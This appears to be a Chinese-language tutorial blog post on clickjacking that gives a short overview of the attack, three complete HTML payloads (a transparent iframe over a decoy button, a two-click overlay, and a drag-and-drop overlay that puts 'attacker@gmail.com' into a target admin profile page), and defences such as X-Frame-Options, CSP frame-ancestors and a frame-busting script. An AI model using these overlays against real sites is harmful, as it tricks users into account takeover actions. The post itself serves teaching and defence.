点击劫持漏洞

2024-05-28 19:28
文章标签 漏洞 点击 劫持

本文主要是介绍点击劫持漏洞,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

点击劫持漏洞

  • 1.点击劫持漏洞概述
  • 2.点击劫持手段
    • 预填表单技巧
    • 基本有效载荷
    • 多步骤有效负载
    • 拖放+点击载荷
  • 3.点击劫持防御策略
    • 客户端防御
    • 服务器端防御
    • JavaScript 破坏框架的脚本

1.点击劫持漏洞概述

在点击劫持攻击中,用户被欺骗点击网页上的一个不可见或伪装成不同元素的元素。这种操纵可能会对用户造成意外后果,如下载恶意软件,重定向到恶意网页,提供凭据或敏感信息,转账,或在线购买产品。


2.点击劫持手段

预填表单技巧

有时可以在加载页面时使用GET参数填充表单字段的值。攻击者可能会滥用这种行为来填充表单的任意数据并发送点击劫持有效负载,以便用户按下提交按钮。

基本有效载荷

<style>iframe {position:relative;width: 500px;height: 700px;opacity: 0.1;z-index: 2;}div {position:absolute;top:470px;left:60px;z-index: 1;}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

多步骤有效负载

<style>iframe {position:relative;width: 500px;height: 500px;opacity: 0.1;z-index: 2;}.firstClick, .secondClick {position:absolute;top:330px;left:60px;z-index: 1;}.secondClick {left:210px;}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

拖放+点击载荷

<html><head><style>#payload{position: absolute;top: 20px;}iframe{width: 1000px;height: 675px;border: none;}.xss{position: fixed;background: #F00;}</style></head><body><div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div><div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div><div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div><iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe><div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div></body>
</html>

3.点击劫持防御策略

客户端防御

在客户端执行的脚本可以执行操作以防止点击劫持:

  • 确保应用窗口是主要或顶级窗口。
  • 使所有框架可见。并防止在不可见框架上点击。
  • 检测并警告用户可能的点击劫持尝试。

具体实操的方法:

  • 浏览器的安全设置: 一些浏览器可能会基于其安全设置或缺乏 JavaScript 支持来阻止这些脚本。
  • HTML5 iframe sandbox 属性: 攻击者可以通过设置 sandbox 属性为 allow-formsallow-scripts 值而不包括 allow-top-navigation 来中和破坏框架脚本。这会阻止 iframe 验证是否为顶级窗口,例如:
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

服务器端防御

1、X-Frame-Options HTTP响应头 通知浏览器有关在 <frame> <iframe> 中呈现页面的合法性,有助于防止点击劫持:

  • X-Frame-Options: deny - 没有域可以嵌入内容。
  • X-Frame-Options: sameorigin - 只有当前站点可以嵌入内容。
  • X-Frame-Options: allow-from https://trusted.com - 只有指定的 ‘uri’ 可以嵌入页面。

2、CSP中的frame-ancestors指令是防止点击劫持的建议方法:

  • frame-ancestors 'none' - 类似于 X-Frame-Options: deny
  • frame-ancestors 'self' - 类似于 X-Frame-Options: sameorigin
  • frame-ancestors trusted.com - 类似于 X-Frame-Options: allow-from

JavaScript 破坏框架的脚本

尽管不是完全可靠,基于 JavaScript 的破坏框架脚本可用于防止网页被嵌套。示例:

if (top !== self) {top.location = self.location;
}

这篇关于点击劫持漏洞的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1011477

相关文章

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库

【测试】输入正确用户名和密码,点击登录没有响应的可能性原因

目录 一、前端问题 1. 界面交互问题 2. 输入数据校验问题 二、网络问题 1. 网络连接中断 2. 代理设置问题 三、后端问题 1. 服务器故障 2. 数据库问题 3. 权限问题: 四、其他问题 1. 缓存问题 2. 第三方服务问题 3. 配置问题 一、前端问题 1. 界面交互问题 登录按钮的点击事件未正确绑定,导致点击后无法触发登录操作。 页面可能存在

C# 防止按钮botton重复“点击”的方法

在使用C#的按钮控件的时候,经常我们想如果出现了多次点击的时候只让其在执行的时候只响应一次。这个时候很多人可能会想到使用Enable=false, 但是实际情况是还是会被多次触发,因为C#采用的是消息队列机制,这个时候我们只需要在Enable = true 之前加一句 Application.DoEvents();就能达到防止重复点击的问题。 private void btnGenerateSh

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

Imageview在百度地图中实现点击事件

1.首先第一步,需要声明的全局有关类的引用 private BMapManager mBMapMan; private MapView mMapView; private MapController mMapController; private RadioGroup radiogroup; private RadioButton normalview; private RadioBu

Java反序列化漏洞-TemplatesImpl利用链分析

文章目录 一、前言二、正文1. 寻找利用链2. 构造POC2.1 生成字节码2.2 加载字节码1)getTransletInstance2)defineTransletClasses 2.3 创建实例 3. 完整POC 三、参考文章 一、前言 java.lang.ClassLoader#defineClass defineClass可以加载字节码,但由于defineClas

解决OAuth Token,点击退出登录报404问题

首先,认证服务器发送请求 http://auth.test.com:8085/logout?redirect_uri=http://admin.test.com:8080’ 退出后报404无法跳转到网站首页,这个时候增加一个参数redirect_uri指定退出成功后跳转的路径,因为是自定义的,所以需在认证服务器做一些处理 找到源码默认实现接口DefaultLogoutPageGeneratingF

一个C++程序运行,从点击运行到控制台打印文本,电脑硬件的资源是如何调动的

当点击运行一个 C++ 程序并看到控制台输出文本时,计算机硬件和操作系统之间协同工作,完成了多个步骤。这些步骤涉及 CPU、内存、存储设备、操作系统和输入输出设备的共同作用。下面是一个详细的过程描述: 1. 程序加载 启动:当你点击运行一个可执行文件时,操作系统(通常是 Windows、Linux 或 macOS)的文件系统管理器识别请求,并启动加载程序。读取可执行文件:加载程序将可执行文件从

【vulhub】thinkphp5 2-rce 5.0.23-rce 5-rce 漏洞复现

2-rec 1.启动环境  cd /.../vulhub/thinkphp/2-rce # cd进入2-rce靶场文件环境下docker-compose up -d # docker-compose启动靶场docker ps -a # 查看开启的靶场信息 2.访问192.168.146.136:8080网页 3.构造payload http

第143天:内网安全-权限维持自启动映像劫持粘滞键辅助屏保后门WinLogon

案例一: 权限维持-域环境&单机版-自启动 自启动路径加载 路径地址 C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\##英文C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\开始菜单\程序\启动\ #